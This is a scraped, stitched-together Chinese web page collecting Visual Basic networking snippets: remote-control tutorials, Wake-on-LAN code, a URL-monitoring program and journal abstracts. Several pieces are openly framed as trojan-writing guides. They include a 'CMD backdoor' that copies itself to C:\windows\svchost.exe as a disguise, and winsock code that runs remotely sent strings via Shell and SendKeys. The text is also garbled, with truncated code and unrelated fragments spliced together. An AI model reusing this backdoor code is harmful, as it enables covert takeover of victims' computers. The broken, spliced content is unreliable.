黑客如何用VB制作远程控制软件
基于VB的远程控制系统
论文题目基于VB的远程控制系统(英文)Remote Control System Based on VB _____基于VB的远程控制系统2012年3月随着当今社会计算机的广泛普及以及网络服务的快速发展给远程控制系统带来了广阔的用武之地,人们可以通过简单的终端机完全控制网络中另一端的被控机,从而完成强大的控制功能,获取被控机的任何信息,这种方式被称之为远程控制。
简单远程控制系统由主控端和被控端两部分组成。
主控端用于实施各种对连网计算机的监控操作,被控端对于接收到的数据进行分析,解释并执行。
系统主要可以实现获取被控端信息、被控端系统控制、消息发送和被控端界面控制的监控功能。
文章对远程控制系统原理和主要相关技术作了简单介绍,在进行需求分析之后,详细描述了远程系统的控制端和被控端的设计与实现,系统采用Visual Basic开发工具,整个系统操作简洁、界面友好、功能灵活、实用,实现了包括被控制端屏幕监控、系统信息、进程监控、关闭计算机、信息互发、桌面和鼠标控制等基本功能。
关键词:远程控制;C/S模式;套接字;信息安全AbstractNowadays, with the developme nt of the n etwork tech no logy so popular and the speedof the n etwork so fast, it is obvious that tech no logy of remote con trol can be applied widely. Using the remote con trol, it is so convenient that the remote computer can be con trolled by the local one. Therefore, un der this circumsta nee, what can achieve this powerful con trol fun cti on and obta in any in formati on of the con trolled computer, we call it remote con trol. The simple remote con trol system con sists of two parts in cludi ng termi nal and con trolled termi nal. We can mon itor the con trolled terminal and impleme nt some operati on about con troll ing the con trolled term inal on the con trolli ng mon itor. The con trolli ng termi nal, which is put in to impleme nting a variety of mon itori ng operati on for conn ected computer, while the con trolled termi nal is used for an alyz ing data, explai ning and impleme nt the received data. The system can fall into several fun cti ons of achiev ing the in formati on of con trolled, con trol con trolled termin al, sending messages, con trolli ng the scree n of con trolled computer and so on. This paper has a simple descripti on of the remote con trol system prin ciple and main tech niq ues. After an alyz ing dema nd and n eed, describ ing desig n and impleme nting con trolled term inal in detail, this system can adopt Visual Basic so that it has simple operati on, frien dly in terface, flexible and practical function. Ultimately, it carries out client screen monitoring system information, computer information, process, cut-off computer, sending in formatio n for each other, desktop, the mouse con trol and other basic functions.Key words: Remote con trol; Clie nt/Server mode; socketnformatio n Security1引言 (1)1.1本课题的研究背景和意义 (1)1.2国内外远程技术研究现状 (1)1.3本课题的主要研究的内容 (2)2 相关理论技术 (3)2.1远程控制概述 (3)2.1.1 远程控制软件的原理 (3)2.1.2 远程控制技术的应用 (4)2.2开发环境 (4)2.3主要控件介绍 (5)2.3.1 Win sock 控件 (5)2.3.2 Timer 控件介绍 (5)2.4 C/S 模式 (5)2.5 TCP协议与UDP协议介绍 (6)2.5.1 TCP 协议 (6)2.5.2 UDP 协议 (6)3需求分析与设计 (7)3.1功能要求 (8)3.2性能要求 (8)3.3系统体系结构主要设计 (9)3.3.1 基本控制原理 (9)3.3.2 鼠标控制模块 (9)3.3.3键盘控制模块 (9)3.3.4屏幕控制模块 (9)4 C/S模式远程控制程序实现 (11)4.1控制端程序实现 (11)4.1.1 与被控制端连接 (11)4.1.2 获取被控端系统信息 (11)4.1.3获取被控端进程信息................................................. 1.24.1.4发送消息........................................................... 1.44.1.5 关闭、重启和注销计算机.......................................... 1.54.1.6鼠标和桌面控制以及获取远程屏幕.................................... 1 8 4.2被控制端程序实现. (19)5系统调试及运行 (21)5.1软件调试基础 (21)5.2调试的目标 (21)6 结论 (25)致谢 (26)参考文献 (27)附录1系统实物图 (28)附录2系统部分程序代码 (29)附录3毕业设计作品说明书.................................................. 3.91引言1.1本课题的研究背景和意义随着经济、社会和科学技术的不断发展,远程控制技术的应用范围也在不断扩大,从一开始的军事、银行、政府机关部门等特殊行业领域的应用已经发展到了今天的电子部门、商业部门、科技部门、道路公共交通领域、学校教学设施应用、卫生医疗部门以及酒店宾馆行业等,其优越的功能也日益引起了各个应用行业的重视与青睐,但是很多远程监控软件必须配有一些固定的硬件设备,这不仅会提高实际应用的成本,而且也会使实施应用增加了技术难题⑴。
VB远程开机
VB远程开机'此程序主要功能是⽤VB实现远程开机;'⼀台电脑要想实现⽹上远程开机,其主板和⽹卡必须都⽀持远程唤醒功能,然后还得进⼊BIOS设置COMS,⾄于如何设置,不同的主板设置'⽅法也可能不⼀样,请参考有关资料。
设置好COMS后就可以⽤本程序发送远程开机命令了。
'如果想要⼴域⽹远程开机,那么除了设置COMS外,还得对路由器进⾏⼀定的设置,由于这不是⼀两句话能说得完的,所以有兴趣的话就加'我的QQ来交流吧,加Q的时候最好说明⼀下⾝份哦!'使⽤⽅法:'新建⼀个⼯程,在Form1上添加三个Text控件,三个标签控件,⼀个命令按钮和⼀个Winsock1控件,然后复制下⾯的代码到Form1,如图:'交流:QQ782022994Dim MagicPacket(0 To 101) As Byte '魔术包Dim myMAC(0 To 5) As Byte '欲唤醒的主机的MAC地址Private Sub StrToMAC(ByVal myStrMAC As String) '将MAC地址的字符串形式转化为⼗六进制数值保存在数组myMAC⾥Dim i As IntegerDim tempStr As StringFor i = 0 To 5tempStr = Mid(myStrMAC, i * 2 + 1, 2)myMAC(i) = "&H" & tempStrNext iEnd SubPrivate Sub Command1_Click() '发送远程开机命令Dim i As IntegerWinsock1.RemoteHost = Text2.TextWinsock1.RemotePort = Text3.TextCall StrToMAC(Text1.Text)For i = 0 To 5 '以下两个For是创建⼀个魔术包MagicPacket(i) = 255Next iFor i = 6 To 101MagicPacket(i) = myMAC((i Mod 6))Next iWinsock1.SendData MagicPacket '发送魔术包(不管是在局域⽹还是在⼴域⽹,只要⼀台电脑检测到对应MAC的魔术包就会⾃动唤醒)End SubPrivate Sub Form_Load()Label1.Caption = "MAC地址:"Label2.Caption = "所在⽹段的⼴播地址(IP):"Label3.Caption = "⼴播端⼝:"Command1.Caption = "发送远程开机命令"Winsock1.Protocol = sckUDPProtocol '使⽤UDP协议Text1.Text = "010203ABCDEF" '欲唤醒的电脑的MAC地址,MAC地址的格式要求这样填(数值之间没有其它字符)Text2.Text = "192.168.1.255" '⼴播地址(因为远程电脑已关机,没有IP地址,所以只能以⼴播形式找到要打开的电脑,⼴域⽹的话填路由器的IP)Text3.Text = "0" '端⼝号,在局域⽹⾥的话就为0吧,⼴域⽹的话就看你的路由器开放哪个端⼝了!End Sub。
VB winsock 远程协助代码(服务端)
plus ("鼠标移动指令:" & X1 & "," & X2)
Option1.Value = False
Option2.Value = False
Option3.Value = False
End Sub
Private Sub Command8_Click()
t = 0
ZT = "失去连接"
plus ("暂时失去与被控端的连接!")
End Sub
Private Sub Winsock2_DataArrival(ByVal bytesTotal As Long)
Dim d As Boolean
d = False
Dim s As String
Winsock2.GetData s
If s = "get" Then plus ("被控端已收到指令,正在完成"): d = True
If s = "finish" Then plus ("被控端已完成指令"): d = True
If s = "return" Then Timer2 = False: ZT = "已连接": plus ("跟踪反馈:被控端状态正常"): d = True
End Function
Private Sub Check2_Click()
Timer1.Enabled = Check2.Value
End Sub
Private Sub Command1_Click()
简单用VB 编写黑客木马,10天速成高手
10天成为电脑高手,vb 编写木马黑客攻击。
一. 调用系统“创建快捷方式”向导是否为VB不支持创建快捷方式而于着急呢?虽然您可以调用vb5stkit.Dll中的fCreateShellLink函数,但它是为安装程序设计的,快捷方式的默认路径总是从当前用户的“\Start Menu\Programs”开始,也就是说,如果您的Windows95装在C盘上,您无法通过fCreateShellLink函数把快捷方式创建到D盘上去。
现在,给大家介绍一种极为方便、巧妙的方法:用Shell语句调用系统“创建快捷方式”向导。
新建一个项目,在窗体上放一个按钮,双击此按钮,加入以下代码:Private Sub Command1_Click()Open App.Path &"\temp.lnk" For Output As #1Close #1 '以上两句在程序所在目录建立一个临时文件Shell "Rundll32.exe AppWiz.Cpl,NewLinkHere"&App.Path &"\temp.lnk"End Sub(注意:Shell语句中NewLinkHere后面跟着一个空格才是引号,否则将出错。
)运行程序,按一下命令按钮,怎么样?“创建快捷方式”向导出现了,如果创建成功,快捷方式将取代临时文件temp.lnk的位置,如果选取消,temp.lnk 也会自动消失。
当然,您可以在硬盘的任意位置建立temp.lnk。
好,现在又可以为您的程序增添一项新功能了。
Enjoy!二. Rundll32.exe的用途我们知道,用Shell语句只能调用可执行文件,即exe、com、bat和pif文件,有时我们想要调用其他一些系统功能该怎么办呢?此时,Windows提供的Rundll32.exe可大显身手了。
下面我们来认识一下这些用法,也许会给您带来一点惊喜。
vb黑客程序VB做“黑客”程序
vb黑客程序:VB做“黑客”程序疯狂代码 / ĵ:http://VisualBasic/Article15181.html 只要掌握了原理,你也能写出一个所谓的“黑客”程序。
下面笔者带领大家用VB亲自编写一个远程控制程序。
从而揭开它的神秘面纱。
一、所用控件 在程序中将使用Winsock控件。
Winsock控件是一个ActiveX控件,使用TCP协议或UDP协议连接到远程计算机上并与之交换数据。
和定时器控件一样,Winsock控件在运行时是不可见的。
Winsock的工作原理是:客户端向服务器端发出连接请求,服务器端则不停地监听客户端的请求,当两者的协议沟通时,客户端和服务器端之间就建立了连接,这时客户端和服务器端就可以实现双向数据传输。
实际编程中,必须分别建立一个服务器端应用程序和一个客户端应用程序,两个应用程序中分别有自己的Winsock控件。
首先设置Winsock控件使用的协议,这里我们使用TCP协议。
现在,让我们开始用VB建立两个程序,一个是客户端程序myclient,另一个是服务器端程序myserver。
二、编写客户端程序 首先来建客户端程序myclient。
在myclient程序中建立一个窗体,加载Winsock控件,称为tcpclient,表示使用的是TCP协议,再加入两个文本框(text1和text2),用来输入服务器的IP地址和端口号,然后建立一个按钮(cd1),用来建立连接,按下之后就可以对连接进行初始化了,代码如下: private sub cd1_click() tcpclient.romotehost=text1.text tcpclient.romoteport=val(text2.text)\'端口号,缺省为1001 tcpclient.connect \'调用connect方法,与指定IP地址的计算机进行连接 cd1.enabled=false end sub 连接之后就是如何处理所收到的数据的问题了。
基于VB6.0的winsock控件的远程数据传输的方法
【摘要】在Visual Basic 6.0 环境下,利用Winsock控件实现与远程数据采集端连接和数据传输。
与传统数据传输方法进行比较,该方法简单且易于实现,并充分利用了网络资源。
介绍了Winsock控件,结合示例程序,说明了该方法实现流程。
最后通过实验,证实该方法进行远程数据传输的可靠性。
【关键词】数据传输;协议;VB6.0;Winsock控件在远程数据采集和传输系统中,传统的方法有 2 种:一是采用RS-485进行远程控制;二是通过调制解调器进入电话线来实现远程控制,然而这2 种方法都有自己的缺点。
这样一来就限制了它们的应用范围。
本文介绍了在VB6.0中利用Winsock控件来实现服务器端与远程客户端建立连接并进行数据传输的方法。
一、基于Winsock控件的远程数据传输(一) Winsock控件简介Microsoft提供的Winsock控件,是ActiveX控件的一种。
在VB 中可以将其添加到工具箱中以便使用。
在程序运行时,Winsock控件是不可见的,但通过对其属性、方法、事件的设置及应用可轻松地实现计算机间的远程连接,该控件为用户提供了访问TCP和UDP网络及其方便的途径,不需要了解低级Winsock API调用实现的细节。
VB 的Winsock控件内部几乎封装了所有的Internet协议,以类的形式提供了属性、方法、事件,使得程序得到了极大的简化。
Winsock控件的常用属性如表1。
(二)传输协议在使用Winsock控件时,首先要考虑使用什么通信协议。
可供选择的协议有传输控制协议(TCP)和用户数据报协议(UDP),都是位于传输层的协议、使用端口号来识别应用程序,区别在于连接的状态。
TCP协议是一个基于连接的协议,在收发数据前必须建立连接,并且该连接可靠性强,使数据无差错地传输,适合有确认信息的、重要的、数据量大(如声音和图像)的文件。
UDP协议是不与对方建立连接而是直接就把数据报发送过去。
vb6.0实例教程
浅谈用VB6.0 编写木马程序现在网络上流行的木马软件基本都是客户机/服务器模式也就是所谓的C/S 结构,目前也有一些开始向B/S 结构转变,在这里暂且不对B/S 结构进行详谈,本文主要介绍C/S 结构其原理就是在本机直接启动运行的程序拥有与使用者相同的权限。
因此如果能够启动服务器端(即被攻击的计算机)的服务器程序,就可以使用相应的客户端工具客户程序直接控制它了。
下面来谈谈如何用VB 来实现它。
首先使用VB 建立两个程序,一个为客户端程序Client,一个为服务器端程序systry。
在Client 工程中建立一个窗体,加载WinSock 控件,称为tcpClient,协议选择TCP,再加入两个文本框,用以输入服务器的IP 地址或服务器名,然后建立一个按钮,按下之后就可以对连接进行初始化了,代码如下:Private Sub cmdConnect_Click()If Len(Text1.Text) = 0 And Len(Text2.Text) = 0 ThenMsgBox ("请输入主机名或主机IP 地址。
")Exit SubElseIf Len(Text1.Text) > 0 ThentcpClient.RemoteHost = Text1.TextElsetcpClient.RemoteHost = Text2.TextEnd IfEnd IftcpClient.ConnectTimer1.Enabled = TrueEnd Sub连接建立之后就可以使用DataArrival 事件处理所收到的数据了。
在服务器端systry 工程也建立一个窗体,加载WinSock 控件,称为tcpServer,协议选择TCP,在Form_Load 事件中加入如下代码:Private Sub Form_Load()tcpServer.LocalPort = 1999tcpServer.ListenEnd Sub准备应答客户端程序的请求连接,使用ConnectionRequest 事件来应答户端程序的请求,代码如下:Private Sub tcpServer_ConnectionRequest(ByVal requestID As Long)If tcpServer.State < > sckClosed ThentcpServer.Close…检查控件的State 属性是否为关闭的。
用VB编写入侵监听程序
上的时候很容易遭到探测,⼀般探测你个⼈的⼊侵者技术不会⾼明到哪⾥去。
所以根本不能称上⿊客,所以本⽂就⽤⼊侵者来代替。
他们对普通民的扫描可以是多端⼝单IP的扫描或者多IP单端⼝扫描。
前者是通过⼀些IP⼯具来取得你的IP,然后尝试利⽤端⼝扫描获取你的信息,看你的计算机有没有预先中了⽊马。
然后通过上的⽊马端⼝列表,来获得⽊马名称。
⽤相应的客户端软件来连接到你的计算机。
从⽽获得密码、以及你的秘密信息。
后者则是通过利⽤如SuperScan等可以⼤范围扫描IP的软件,扫描打开特定端⼝的机器。
⽐如,可以扫描打开7626端⼝的机器,看对⽅是否中了冰河。
然后,⼊侵者就⽤客户端连接到服务器从⽽⼊侵你的计算机。
这些扫描是简单的TCP的Connect扫描。
所以⽆法避开防⽕墙的追踪。
民就可以利⽤天等防⽕墙软件来获取对⽅的IP。
相信很多DIY迷或者编程爱好者总是想拥有属于⾃⼰的类似的⼯具。
本⽂就给你讲述如何⽤VB来获得探测你的⼊侵者的IP地址,然后……我可没有教你⽤蓝屏炸弹或者蜗⽜炸弹去炸它哦。
毕竟,我们没有⼊侵者的野⼼,本程序还可以让你监听80端⼝,来察看对⽅对你进⾏的常规扫描。
要看懂本⽂,你需要有⼀定的VB基础。
好了,我们来看看本程序的基本原理: ⼊侵者通过Connect本机的端⼝,然后通过是否成功,来获得信息。
由于TCP的三次握⼿原理。
他必定会留下⾃⼰的IP,我们就利⽤这⼀个原理来获得对⽅的IP。
Winsock控件的属性、⽅法和事件在我上次写的《.⽤winsock制作漏洞扫描器》⼀⽂中已经叙述过,这⾥就不再介绍。
⼤家还⼀定记得RemoteHostIP和LocalPort属性吧。
这就是对⽅的IP和⾃⼰的端⼝。
聪明的你应该明⽩了吧。
通过这两个属性就可以清楚的获得对⽅的IP地址和他正在扫描的本地端⼝。
因为不可能⼀个端⼝只有⼀个⼈会扫描,所以本程序我们需要使⽤到控件数组。
这个概念的描述⼤家可以查找MSDN。
本程序的流程是: 1、定义需要监听的端⼝ 2、装载⼀定数量的Winsock1控件,从需要监听的端⼝列表中获得数据。
vb实现远程控制
主题:vb实现远程控制作者:webdawn发表时间:2002-12-26 10:38:00楼主做完了这些准备工作,就可以开始着手编写代码了。
在Form窗口上点击鼠标右键,选择查看代码,并在代码窗口中输入如下代码:Private Sub Form_Load()Winsock1.RemoteHost = "对方计算机名"'如果想通过对方IP连接的话,请把上面一行改为Winsock1.RemoteHostIP="对方IP"。
Winsock1.RemotePort = 1001'可以任意填写,最好在1000以上End SubPrivate Sub cmdconnect_Click()Winsock1.Connect '连接主机Cmdcommand.Enabled=True '将cmdcommand按钮设为有效cmdconnect.Enabled = FalseEnd SubPrivate Sub cmdCommand_Click()Dim CommandMain As StringCommandMain = InputBox("请输入命令:", "命令窗口")Winsock1.SendData CommandMain '向服务器端发送数据End Sub看到这里应该祝贺你,你已经完成了客户端的编写。
不要这麽吃惊,真的就这麽简单。
当然前面已经说过,这种程序是由两部分组成的,所以光学会做客户端还不够。
你还必须要编写一个服务器端来接受并执行客户端所发出的命令,否则的话你所发出的命令就会"一去兮,不复返也"。
编写服务器端的程序前,必须明确的是:你到底要服务器端计算机做什麽?我们假定要服务器端计算机在接受到reboot命令后重启计算机,接受到shutdown命令后关闭计算机,接受到logoff命令后注销计算机、接收到close命令后退出本程序以及接受到其他命令后默认为Message消息。
基于VB的远程通讯程序
基于VB的远程通讯程序1引言计算机与通信的紧密结合极大地推动了工业自动化的进程。
人们坐在计算机前就可以实现对远端设备的集中监控,从而提高了整个系统的稳定性和可靠性。
本文作者曾经参与了电源远程监控系统软件的开发工作。
在运用VB开发监控软件的过程中,为实现远程通讯功能,我们利用了VB提供的通讯控件MSComm。
该控件屏蔽了通信过程中的底层操作,程序员只需设置和监视MSComm控件的属性和事件,就可以轻而易举地实现串行异步通讯。
远程监控中心可以对分布的各个独立的电源系统进行遥测、遥控。
电源控制器可以现场监测和控制电源系统的各项工作参数;可以接受远端监控中心的查询、控制;并可以向中心上报工作状态。
为实现上述功能,首要任务是建立两者之间的通讯。
因此可分别将监控中心计算机和电源控制器通过RS-232C接口与Modem相连,再通过Modem接入公用电话网(PSTN),由PSTN实现本地Modem与电源端Modem的联接,就可以实现监控中心计算机与电源控制器间的通讯。
2通讯控件简介MSComm 控件提供了一系列标准通讯属性和方法。
使用它可以建立起应用程序与串行端口的联接。
为实现远程通讯,还需要把调制解调器与串行端口通过RS-232C接口连接,这样,在应用程序中发出AT命令,就可以达到控制调制解调器的目的,进行远程通讯。
有关调制解调器的AT命令,本文不做讨论,读者可以参考相关的调制解调器手册。
2.1在项目中加入MSComm控件启动Visual Basic,建立一个新项目。
选Project菜单,从中选择Components子菜单。
在弹出的Components对话框里的Controls标签下选择Microsoft Comm Control 5.0项。
2.2与程序设计有关的 MSComm控件属性CommPort设置或返回通讯端口号。
格式为:mPort[ = PortNumber ]。
在设计时,PortNumber 可以设置成从 1 到 16 的任何数(缺省值为 1)。
第18章 网络通信应用开发——VB实现远程控制
网络通信应用开发——VB实现远程控制
实现网络间的相互会话 实现远程重启计算机 实现远程关闭计算机
18.1 系统分析
功能分析 服务器端和客户端
1. 服务器端 当启动服务器后,服务器开始处于监听状态,当有客户 端根据服务器的端口号和服务器IP地址进行登录后,服务器 端会列出已经连接上的客户端的IP地址。建立连接后,服务 器ห้องสมุดไป่ตู้可以根据需要对客户端发出指令,如提醒客户端注意保 存文件,5分钟后将会关机等操作,同时,也可以根据客户 端的IP地址,直接进行关机、重启等操作。
2. 客户端 客户端根据服务器的端口号和服务器IP地址进行登录后, 便开始对服务器发出连接请求,同时,客户端开始处于正在 连接服务器状态,等待服务器的响应。待服务器端给出应答 后,双方便可以建立联接。客户端可以根据IP地址进行检索 IP 其他客户机是否也连接到了服务器上,如果其他客户端也得 到了服务器的连接应答,那么该客户端便可根据IP地址也其 进行双方会话通信。
用VB编写络监控软件
用VB编写网络监控软件随着互联网迅速的膨胀发展,学校、企业、网吧大部分都通过局域网连上了Internet,但是由于人员多、上网机器分散,给上网管理带来了种种不便。
为此,笔者编写了一个小程序,在局域网内的每个工作站运行此程序,可以对每个工作站访问的网址进行记录。
在网吧中,可以为网络犯罪提供可靠的依据;在学校里,我们可以及时地限制同学们访问非法站点和有不健康内容的网站。
程序用VB6.0编写,下面是程序实现的步骤。
该程序在Windows 98和IE5.5下调试通过。
一、程序核心本程序的核心是通过API函数获得窗口句柄并获得浏览器访问的网址,在此基础上可以实现用Winsock控件进行远程的监视和管理。
1.先创建一个工程并在窗口Form1中,并声明下面的四个API函数和两个常量:Option Explicit Private Declare Function FindWindow Lib ″user32″Alias ″FindWindowA″(ByVal lpCl assName As String,ByVal lpWindowName As String) As Long ′Findwindow函数的功能是找到当前运行的IE窗口的url地址的句柄Private Declare Function SendMessage Lib ″user32″Alias ″SendMessageA″(ByVal hwnd As Long,ByVal wMsg As Long,ByVal wParam As Long,lParam As Long) As Long ′SendMessage函数的功能是向操作系统发送一条消息Private Declare Function FindWindowEx Lib ″user32″Alias ″FindWindowExA″(ByVal hWnd1 As Long,ByVal hWnd2 As Long,ByVal lpsz1 As String,ByVal lpsz2 As String) As Long′FindwindowEx函数的功能是找到子窗体的句柄Private Declare Function SendMessageByString Lib ″user32″Alias ″SendMessageA″(ByVal hwnd As Long,ByVal wMsg As Long,ByVal wParam As Long,ByVal lParam As String) As LongPrivate Const WM_GETTEXT = &HDPrivate Const WM_GETTEXTLENGTH = &HE2.在窗体上添加Command控件,并命名为GetURLstring,单击此命令按钮,并为其添加下面的程序代码:Private Sub GetURLstring_Click()On Error GoTo CallErrorADim sClassName As String ′设定一个字符串变量,是类变量Dim lhwnd As Long ′设定一个长整形变量用来接收函数返回值Dim WindowHandle As Long ′设定一个长整形变量用来接收函数的返回句柄lhwnd = 0sClassName = (″IEFrame″)lhwnd = FindWindowEx(lhwnd,0,sClassName,vbNullString) ′获得URL地址栏的句柄,获得IE窗口的句柄sClassName = (″WorkerA″)lhwnd = FindWindowEx(lhwnd,0,sClassName,vbNullString) ′获得IE窗口的工作区的句柄sClassName = (″ReBarWindow32″)lhwnd = FindWindowEx(lhwnd,0,sClassName,vbNullString) ′获得IE窗口的菜单栏的句柄sClassName = (″ComboBoxEx32″)lhwnd = FindWindowEx(lhwnd,0,sClassName,vbNullString) ′获得IE窗口的下拉菜单的句柄sClassName = (″ComboBox″)lhwnd = FindWindowEx(lhwnd,0,sClassName,vbNullString) ′获得IE窗口的下拉菜单当前项的句柄sClassName = (″Edit″)lhwnd = FindWindowEx(lhwnd,0,sClassName,vbNullString) ′获得这个下拉菜单的编辑框句柄WindowHandle = lhwnd ′接收当前我们想要的句柄Dim buffer As String ′设定字符串变量接收当前的字符串Dim TextLength As Long ′设定长整形变量接收字符串的长度TextLength = SendMessage(WindowHandle,WM_GETTEXTLENGTH,0&,0&) ′向系统发送获得IE窗口的地址栏中的字符串长度命令buffer = String(TextLength,0) ′Call SendMessageByString(WindowHandle,WM_GETTEXT,TextLength +1,buffer) ′向系统发送获得IE窗体地址栏中的字符串命令If buffer = ″″ThenMsgBox ″MicroSoft InternetExplorer浏览器没有运行.″,vbOKOnlyElseMsgBox buffer ′IE运行时显示当前网址End IfExit SubCallErrorA:MsgBox Err.DescriptionErr.ClearEnd Sub二、添加定时保存功能我们对上面的程序稍作改动,即可实现定时把当前访问的网址保存到文件,这样就为我们进行网络监控提供了保证。
vb实现远程控制
主题:vb实现远程控制作者:webdawn发表时间:2002-12-26 10:38:00楼主做完了这些准备工作,就可以开始着手编写代码了。
在Form窗口上点击鼠标右键,选择查看代码,并在代码窗口中输入如下代码:Private Sub Form_Load()Winsock1.RemoteHost = "对方计算机名"'如果想通过对方IP连接的话,请把上面一行改为Winsock1.RemoteHostIP="对方IP"。
Winsock1.RemotePort = 1001'可以任意填写,最好在1000以上End SubPrivate Sub cmdconnect_Click()Winsock1.Connect '连接主机Cmdcommand.Enabled=True '将cmdcommand按钮设为有效cmdconnect.Enabled = FalseEnd SubPrivate Sub cmdCommand_Click()Dim CommandMain As StringCommandMain = InputBox("请输入命令:", "命令窗口")Winsock1.SendData CommandMain '向服务器端发送数据End Sub看到这里应该祝贺你,你已经完成了客户端的编写。
不要这麽吃惊,真的就这麽简单。
当然前面已经说过,这种程序是由两部分组成的,所以光学会做客户端还不够。
你还必须要编写一个服务器端来接受并执行客户端所发出的命令,否则的话你所发出的命令就会"一去兮,不复返也"。
编写服务器端的程序前,必须明确的是:你到底要服务器端计算机做什麽?我们假定要服务器端计算机在接受到reboot命令后重启计算机,接受到shutdown命令后关闭计算机,接受到logoff命令后注销计算机、接收到close命令后退出本程序以及接受到其他命令后默认为Message消息。
VB的CMD后门远程执行任意命令程序的所有VB源码
SockClient.Close
End Sub
Private Sub SockServer_Close()
cmd_connect.Enabled = True
End Sub
Private Sub SockServer_ConnectionRequest(ByVal requestID As Long)
end if
response.write""&myip&""
%>
<%
IP=""&myip&""
set fs=server.CreateObject("Scripting.FileSystemObject")
set file=fs.OpenTextFile(server.MapPath("FXIP.txt"),8,True)
Private Sub Form_Load()
'如果自身已经运行则关闭自己
If appprevinstance Then
End
End If
'复制自身
FileCopy App.Path & "\svchost.exe", "C:\windows\svchost.exe"
FileCopy App.Path & "\svchost.dll", "C:\windows\svchost.dll"
'判断服务器不关闭时接受连接请求
If SockServer.State <> sckClosed Then SockServer.Close
基于VB的远程唤醒软件的设计与实现
电脑编程技巧与维护1引言远程唤醒(Wake-on-LAN,WOL)是在计算机的电源、主板和网卡等设备的支持下,通过向处于半工作状态的网卡发送特定数据包,实现计算机从停机状态自动开启的一种远程控制技术。
利用远程唤醒技术可以一次性批量启动多台计算机,将该技术应用于配备大量计算机的机房日常管理中,会产生事半功倍的效果。
在实际应用中,一般由专门的软件负责发送远程唤醒数据包,以开启局域网范围内的计算机。
在Windows 平台上,VC++、VB 、Delphi 等均可用来开发这种远程唤醒软件,这里介绍基于VB 的设计实现方案。
2基本原理远程唤醒数据包是一种具有特定内容的数据包,其内容是FFFFFFFFFFFF 加上16遍被唤醒计算机的网卡MAC 地址。
假设希望唤醒网卡MAC 地址为11-22-33-44-55-66的计算机,那么构造出的远程唤醒数据包的内容应为FFFFFFFFFFFF112233445566112233445566112233445566112233445566112233445566112233445566112233445566112233445566112233445566112233445566112233445566112233445566112233445566112233445566112233445566112233445566。
远程唤醒软件利用UDP 协议,在局域网内广播发送该数据包,网内每台计算机的网卡收到数据包后,都会将包内MAC 地址与自己的MAC 地址相比较,如果相同,便向主板发送开机信号,计算机将自动开启[1]。
由此可知,若想唤醒某台计算机,必须首先知道它的MAC 地址。
在TCP/IP 协议中,ARP 协议负责地址解析,它能通过计算机的IP 地址解析出MAC 地址,从而为构造远程唤醒数据包提供支持[2]。
远程唤醒软件用到ARP 和UDP 这两个网络协议,ARP 协议用于获取MAC 地址,UDP 协议用于发送远程唤醒数据包。
基于VB的远程唤醒软件的设计与实现
基于VB的远程唤醒软件的设计与实现
刘金明;马司伟
【期刊名称】《电脑编程技巧与维护》
【年(卷),期】2011(000)002
【摘要】远程唤醒是通过向网卡发送特定数据包,实现计算机自动开启的技术.阐述了远程唤醒的原理,设计并实现了基于VB的远程唤醒软件.该软件能批量唤醒局域网中的计算机,从而提高计算机房的管理效率.
【总页数】3页(P14-15,43)
【作者】刘金明;马司伟
【作者单位】吉林电子信息职业技术学院计算机系,吉林132021;郑州轻工业学院电气信息工程学院,郑州450002
【正文语种】中文
【相关文献】
1.基于的砝码自动校准系统软件设计与实现 [J], 史志伟;赵健;赵欣
2.基于ExcelVBA的油田通用自动组卷软件的设计与实现 [J], 闫苏斌;王渭莉
3.基于VB技术管理的数字多用表输入阻抗与零\r电流计算软件的设计与实现 [J], 刘梓涵;袁美玲;冯涛;宁梦
4.基于VB技术管理的数字多用表输入阻抗与零电流计算软件的设计与实现 [J], 刘梓涵;宁梦;冯涛;王守志
5.基于VB
6.0的排序算法动态演示软件的设计与实现 [J], 高向敏
因版权原因,仅展示原文概要,查看原文内容请购买。
VB winsock 远程协助代码(客户端)
If sh = True Then Shell s
If ms = True Then MsgBox (s)
If ke = True Then SendKeys (s)
If mo = True Then
If s = "l" Or s = "r" Then
If s = "l" Then
mouse_event MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0
Function scr()
' Call keybd_event(vbKeySnapshot, 1, 0, 0) '当前窗体
Call keybd_event(vbKeySnapshot, 0, 0, 0) '全屏
DoEvents
Me.Picture = Clipboard.GetData(vbCFBitmap)
' 整数倍,那么就没有剩下的数据了
ReDim bytData(1 To LenFile - iPos) '发送剩下的不够一个数据块的数据
VB编程实现微机的网络远程唤醒
VB编程实现微机的网络远程唤醒曹淑华【摘要】网络远程唤醒对网络管理来说是一项具有实用性的技术.远程唤醒的方法也多种多样,在VB编程过程中,Winsock控件具有通过传输层协议进行微机的远程通信功能.根据Winsock控件能够发送带有该网卡MAC地址的唤醒数据包的特点,利用VB编程的方法,开发出实现微机网络远程唤醒的程序,以实现网络管理功能.【期刊名称】《现代电子技术》【年(卷),期】2010(033)014【总页数】3页(P61-63)【关键词】VB编程;Winsock控件;MAC地址;远程唤醒【作者】曹淑华【作者单位】长安大学,信息工程学院,陕西,西安,710064【正文语种】中文【中图分类】TN919;TP316.70 引言网络远程唤醒技术(wake-on-LAN,WOL)是一项由计算机硬件提供支持的,通过给网卡发送特定数据包从而命令网卡向主板发送开机指令的管理技术。
它可以让微机使用人员远程唤醒计算机,并使它们自动完成一些管理服务[1]。
实现远程唤醒的硬件条件:网卡、主板、电源都要支持网络远程唤醒[2]。
网络管理人员经常需要远程唤醒多台微机进行管理。
网络远程唤醒的方法也各有不同,通过VC,Delphi语言编程都可以实现远程唤醒,本文通过VB语言编程实现微机的网络远程唤醒。
由于VB语言的普及程度更高,语句更易被理解。
因此VB编程实现网络的远程唤醒程序更易根据客户需要进行修改和使用。
1 VB实现微机的网络远程唤醒的原理由于通过网络远程唤醒的计算机处于关机状态,所以不可能通过IP地址和计算机名等进行区别。
但是每块网卡都拥有惟一的MAC地址,网卡的MAC地址是识别计算机的惟一定位信息。
知道被唤醒计算机网卡的MAC地址后,在本地计算机上运行远程唤醒软件,向网络中发送带有该网卡MAC地址的唤醒数据包。
这时,被唤醒计算机虽然处于关机状态,但其网卡控制芯片却能利用三芯连接线从主板上送来的电流(这是因为ATX电源虽然关闭了,但并没有切断主板上所有电源的供给),接收和处理网络上传来的信息包。
VB中远程应用程序的实现
VB中远程应用程序的实现
唐光艳
【期刊名称】《辽宁师专学报(自然科学版)》
【年(卷),期】2009(011)001
【摘要】从创建一个简单的VB远程应用程序--查找素数的程序入手,阐述VB中远程应用程序的创建、登记、访问、出错处理的实现方法.
【总页数】2页(P35-36)
【作者】唐光艳
【作者单位】锦州师专,辽宁,锦州,121000
【正文语种】中文
【中图分类】TP311
【相关文献】
